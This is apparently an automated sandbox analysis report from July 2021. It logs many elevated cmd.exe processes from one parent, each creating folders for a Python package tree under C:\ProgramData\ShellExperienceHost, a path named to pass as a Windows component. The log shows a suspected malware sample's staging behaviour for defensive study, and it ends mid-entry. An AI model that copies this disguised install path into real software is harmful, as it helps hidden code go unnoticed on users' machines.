Analysis Process: cmd.exe PID: 6920 Parent PID: 2484

General

Start time:	14:38:24
Start date:	13/07/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\chardet\metadata\
Imagebase:	0xbd0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 6956 Parent PID: 2484

General

Start time:	14:38:25
Start date:	13/07/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\crcmod\
Imagebase:	0xbd0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 6996 Parent PID: 2484

General

Start time:	14:38:25
Start date:	13/07/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\crcmod-1.7.dist-info\
Imagebase:	0xbd0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 7032 Parent PID: 2484

General

Start time:	14:38:26
Start date:	13/07/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\
Imagebase:	0xbd0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 7064 Parent PID: 2484

General

Start time:	14:38:26
Start date:	13/07/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\
Imagebase:	0xbd0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 7076 Parent PID: 2484

General

Start time:	14:38:27
Start date:	13/07/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography-3.3.1.dist-info\
Imagebase:	0xbd0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 7088 Parent PID: 2484

General

Start time:	14:38:27
Start date:	13/07/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\hazmat\
Imagebase:	0xbd0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 7100 Parent PID: 2484

General

Start time:	14:38:28
Start date:	13/07/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\hazmat\backends\
Imagebase:	0xbd0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 7112 Parent PID: 2484

General

Start time:	14:38:28
Start date:	13/07/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\hazmat\backends\openssl\
Imagebase:	0xbd0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 7124 Parent PID: 2484

General

Start time:	14:38:29
Start date:	13/07/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\hazmat\bindings\
Imagebase:	0xbd0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 7136 Parent PID: 2484

General

Start time:	14:38:29
Start date:	13/07/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\hazmat\bindings\openssl\
Imagebase:	0xbd0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 7148 Parent PID: 2484

General

Start time:	14:38:30
Start date:	13/07/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\hazmat\primitives\
Imagebase:	0xbd0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 7160 Parent PID: 2484

General

Start time:	14:38:31
Start date:	13/07/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\hazmat\primitives\asymmetric\
Imagebase:	0xbd0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 2920 Parent PID: 2484

General

Start time:	14:38:31
Start date:	13/07/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\hazmat\primitives\ciphers\
Imagebase:	0xbd0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 5892 Parent PID: 2484

General

Start time:	14:38:32
Start date:	13/07/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\hazmat\primitives\kdf\
Imagebase:	0xbd0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 3636 Parent PID: 2484

General

Start time:	14:38:33
Start date:	13/07/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\hazmat\primitives\serialization\
Imagebase:	0xbd0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 6136 Parent PID: 2484

General

Start time:	14:38:33
Start date:	13/07/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\hazmat\primitives\twofactor\
Imagebase:	0xbd0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 6072 Parent PID: 2484

General

Start time:	14:38:34
Start date:	13/07/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\x509\
Imagebase:	0xbd0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 4884 Parent PID: 2484

General

Start time:	14:38:34
Start date:	13/07/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Cipher\
Imagebase:	0xbd0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 5296 Parent PID: 2484

General

Start time:	14:38:35
Start date:	13/07/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Hash\
Imagebase:	0xbd0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 5492 Parent PID: 2484

General

Start time:	14:38:35
Start date:	13/07/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Protocol\
Imagebase:	0xbd0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 3112 Parent PID: 2484

General

Start time:	14:38:36
Start date:	13/07/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Random\
Imagebase:	0xbd0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 5852 Parent PID: 2484

General

Start time:	14:38:36
Start date:	13/07/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Util\
Imagebase:	0xbd0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 1092 Parent PID: 2484

General

Start time:	14:38:37
Start date:	13/07/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\engineio\
Imagebase:	0xbd0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 3360 Parent PID: 2484

General

Start time:	14:38:37
Start date:	13/07/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\engineio\async_drivers\
Imagebase:	0xbd0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 5656 Parent PID: 2484

General

Start time:	14:38:38
Start date:	13/07/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\idna\
Imagebase:	0xbd0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 3704 Parent PID: 2484

General

Start time:	14:38:39
Start date:	13/07/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\idna-2.10.dist-info\
Imagebase:	0xbd0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 4232 Parent PID: 2484

General

Start time:	14:38:39
Start date:	13/07/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\isapi\
Imagebase:	0xbd0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 4468 Parent PID: 2484

General

Start time:	14:38:40
Start date:	13/07/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\isapi\doc\
Imagebase:	0xbd0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 3384 Parent PID: 2484

General

Start time:	14:38:40
Start date:	13/07/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\isapi\samples\
Imagebase:	0xbd0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 4796 Parent PID: 2484

General

Start time:	14:38:41
Start date:	13/07/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\isapi\test\
Imagebase:	0xbd0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 5164 Parent PID: 2484

General

Start time:	14:38:41
Start date:	13/07/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\Naked\
Imagebase:	0xbd0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 5136 Parent PID: 2484

General

Start time:	14:38:42
Start date:	13/07/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\Naked-0.1.31.dist-info\
Imagebase:	0xbd0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 5140 Parent PID: 2484

General

Start time:	14:38:42
Start date:	13/07/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\Naked\commands\
Imagebase:	0xbd0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 5220 Parent PID: 2484

General

Start time:	14:38:43
Start date:	13/07/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\Naked\templates\
Imagebase:	0xbd0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 5156 Parent PID: 2484

General

Start time:	14:38:43
Start date:	13/07/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\Naked\toolshed\
Imagebase:	0xbd0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 5232 Parent PID: 2484

General

Start time:	14:38:44
Start date:	13/07/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\Naked\toolshed\c\
Imagebase:	0xbd0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 5172 Parent PID: 2484

General

Start time:	14:38:45
Start date:	13/07/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\ntplib-0.3.4.dist-info\
Imagebase:	0xbd0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 5184 Parent PID: 2484

General

Start time:	14:38:45
Start date:	13/07/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\oss2\
Imagebase:	0xbd0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 5252 Parent PID: 2484

General

Start time:	14:38:46
Start date:	13/07/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\pkg_resources\
Imagebase:	0xbd0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 5260 Parent PID: 2484

General

Start time:	14:38:47
Start date:	13/07/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\pkg_resources\extern\
Imagebase:	0xbd0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 5204 Parent PID: 2484

General

Start time:	14:38:47
Start date:	13/07/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\pkg_resources\_vendor\
Imagebase:	0xbd0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 5532 Parent PID: 2484

General

Start time:	14:38:48
Start date:	13/07/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\pkg_resources\_vendor\packaging\
Imagebase:	0xbd0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 5716 Parent PID: 2484

General

Start time:	14:38:49
Start date:	13/07/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\psutil\
Imagebase:	0xbd0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 5732 Parent PID: 2484

General

Start time:	14:38:49
Start date:	13/07/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\psutil-5.8.0.dist-info\
Imagebase:	0xbd0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 5756 Parent PID: 2484

General

Start time:	14:38:50
Start date:	13/07/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\psutil\tests\
Imagebase:	0xbd0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 5724 Parent PID: 2484

General

Start time:	14:38:50
Start date:	13/07/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\psutil\tests\__pycache__\
Imagebase:	0xbd0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 6120 Parent PID: 2484

General

Start time:	14:38:51
Start date:	13/07/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\psutil\__pycache__\
Imagebase:	0xbd0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 2288 Parent PID: 2484

General

Start time:	14:38:52
Start date:	13/07/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\pycparser\
Imagebase:	0xbd0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 64 Parent PID: 2484

General

Start time:	14:38:52
Start date:	13/07/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\pycparser-2.20.dist-info\
Imagebase:	0xbd0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 3560 Parent PID: 2484

General

Start time:	14:38:53
Start date:	13/07/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\pycparser\ply\
Imagebase:	0xbd0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 3892 Parent PID: 2484

General

Start time:	14:38:53
Start date:	13/07/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\pycryptodome-3.9.9.dist-info\
Imagebase:	0xbd0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 6344 Parent PID: 2484

General

Start time:	14:38:54
Start date:	13/07/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\python_engineio-3.13.2.dist-info\
Imagebase:	0xbd0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 5560 Parent PID: 2484

General

Start time:	14:38:54
Start date:	13/07/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\python_socketio-4.6.0.dist-info\
Imagebase:	0xbd0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 6320 Parent PID: 2484

General

Start time:	14:38:55
Start date:	13/07/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\pywin32-300.dist-info\
Imagebase:	0xbd0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 6408 Parent PID: 2484

General

Start time:	14:38:55
Start date:	13/07/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\pywin32_system32\
Imagebase:	0xbd0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 5040 Parent PID: 2484

General

Start time:	14:38:56
Start date:	13/07/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
